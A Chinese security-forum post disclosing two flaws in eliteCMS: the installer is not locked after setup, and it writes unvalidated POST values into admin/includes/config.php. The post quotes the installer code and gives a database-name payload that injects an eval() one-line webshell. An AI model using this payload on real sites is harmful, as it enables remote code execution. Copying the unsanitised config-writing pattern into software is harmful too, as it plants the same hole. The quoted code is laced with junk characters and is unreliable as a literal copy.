找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2295|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装1 j5 J- o& h7 y  k+ T; U

% W0 L% D! F" {1 n: C另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php3 B. y% {- |2 t$ ^# [: W5 v$ S: c
我们来看代码:
& n, h4 c6 z3 U/ D' G& W1 E; P5 A / a7 O% o: J! t: q) O8 g
...5 u1 ^# d: a3 G
elseif ($_GET['step'] == "4") {: R7 L+ z: j0 Y, ~: m/ H
    $file = "../admin/includes/config.php";! U  A7 A) z8 P' Y  r
    $write = "<?php\n";" g5 O3 s' }; D" c; y$ D+ \8 v! U
    $write .= "/**\n";4 h9 u! R& O/ R" j
    $write .= "*\n";
9 z, _" Y+ B* C2 i6 w" m& N    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";! P0 ~' k. p7 C$ E8 K6 ]
...略...' ]) A0 W6 w6 g- K# m2 N  N
    $write .= "*\n";0 |. |8 C' Q0 Q- @$ T( B7 F
    $write .= "*/\n";) M3 ^) ?7 j* T$ o
    $write .= "\n";9 I: B1 U8 J, d) z; E$ `- j
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";+ f% \4 L2 y, H( F+ H
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";$ C$ O0 X* s5 `$ T+ t
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";. b& e/ l8 b/ ~/ l, B! A/ X
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";( X  X2 B2 P# v8 f5 k4 N' x; w
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
$ z: Y- d  w4 r    $write .= "if (!\$connection) {\n";2 o$ g! j: ?. W$ S/ b
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";  J: p; Y7 d& e. S0 s. A7 }5 G
    $write .= "        \n";  p9 @6 F/ [. T. {+ _
    $write .= "} \n";
) y) \- i; q1 O$ R+ F- b. }    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";0 b# F# R4 D7 `6 Z
    $write .= "if (!\$db_select) {\n";
1 B! K# y8 b. ^$ C1 S% d    $write .= "        die(\"Database select failed\" .mysql_error());\n";. o- }& {2 ]3 ]& S7 b
    $write .= "        \n";
. @  H- x$ k3 o2 h! V& }3 \    $write .= "} \n";, W' P; l3 ]! h, O8 l: i
    $write .= "?>\n";
8 k8 \$ Y5 N! ]8 @
  @1 f) x' a9 Y. n    $writer = fopen($file, 'w');! M4 {) B$ v% |
...+ w3 {; N. `) s) p( Y

% X, h7 V% P  T9 F7 y% z. `7 W9 w在看代码:
5 W7 g  o, P9 g 2 K5 G! S/ A5 l3 A6 E
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
, `. ^8 h2 s; l8 T  F$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
" u9 a5 z: t2 o! b+ V3 u+ Q1 d3 s4 R/ F$_SESSION['DB_USER'] = $_POST['DB_USER'];  H0 N% z9 U5 m/ g& d
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
# e/ U, Z  s+ `- f $ ~0 U( H2 [/ Q  F3 Y5 a
取值未作任何验证
/ R: W0 k; K& l: h0 A如果将数据库名POST数据:
+ Z5 n( r6 D% {# l: D , }7 B" X1 R# R  `
"?><?php eval($_POST[c]);?><?php( ]8 `' A' a8 T" `. K
3 T3 D; f7 P9 U! E5 Y- W3 ~  b: k7 q
将导致一句话后门写入/admin/includes/config.php( c! A2 |0 D& K- m" ~3 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表